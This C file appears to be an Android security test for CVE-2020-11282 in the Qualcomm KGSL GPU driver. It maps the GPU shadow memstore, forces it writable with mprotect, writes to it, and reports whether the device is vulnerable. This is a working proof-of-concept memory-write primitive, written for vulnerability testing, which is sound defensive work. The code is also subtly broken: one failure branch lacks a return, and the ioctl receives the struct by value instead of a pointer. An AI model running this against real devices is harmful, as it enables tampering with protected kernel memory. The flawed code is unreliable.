1 /*
2 * CVE-2020-11282
3 */
4
5 #include "../includes/common.h"
6 #include <fcntl.h>
7 #include <stdio.h>
8 #include <stdlib.h>
9 #include <string.h>
10 #include <sys/ioctl.h>
11 #include <sys/mman.h>
12 #include <unistd.h>
13
14 #define VM_MAYWRITE 0x00000020
15 #define KGSL_IOC_TYPE 0x09
16 #define KGSL_PROP_DEVICE_SHADOW 0x2
17
18 #define IOCTL_KGSL_DEVICE_GETPROPERTY \
19 _IOWR(KGSL_IOC_TYPE, 0x2, struct kgsl_device_getproperty)
20
21 struct kgsl_device_getproperty {
22 unsigned int type;
23 void __user *value;
24 size_t sizebytes;
25 };
26
27 struct kgsl_shadowprop {
28 unsigned long gpuaddr;
29 size_t size;
30 unsigned int flags; /* contains KGSL_FLAGS_ values */
31 };
32
main()33 int main() {
34 int x;
35 int y;
36 struct kgsl_device_getproperty param;
37 struct kgsl_shadowprop shadowprop;
38 int kgsl_fd;
39
40 kgsl_fd = open("/dev/kgsl-3d0", 0);
41 if (kgsl_fd < 0) {
42 EXIT_FAILURE;
43 }
44 param.type = KGSL_PROP_DEVICE_SHADOW;
45 param.value = &shadowprop;
46 param.sizebytes = sizeof(shadowprop);
47
48 if (ioctl(kgsl_fd, IOCTL_KGSL_DEVICE_GETPROPERTY, param) < 0) {
49 return EXIT_FAILURE;
50 }
51
52 // validity checking that mmap of memstore with PROT_WRITE is blocked
53 uint8_t *mmapped = mmap(NULL, shadowprop.size, PROT_READ | PROT_WRITE,
54 MAP_PRIVATE, kgsl_fd, shadowprop.gpuaddr);
55 FAIL_CHECK(!(mmapped != MAP_FAILED));
56
57 mmapped = mmap(NULL, shadowprop.size, PROT_READ | VM_MAYWRITE, MAP_PRIVATE,
58 kgsl_fd, shadowprop.gpuaddr);
59
60 FAIL_CHECK(!(mmapped == MAP_FAILED));
61
62 if (mprotect(mmapped, shadowprop.size, PROT_READ | PROT_WRITE)) {
63 return EXIT_FAILURE;
64 }
65
66 x = mmapped[0];
67 mmapped[0] = 0xFF;
68 y = mmapped[0];
69
70 return (x == 0 && y == 255) ? EXIT_VULNERABLE : EXIT_SUCCESS;
71 }
72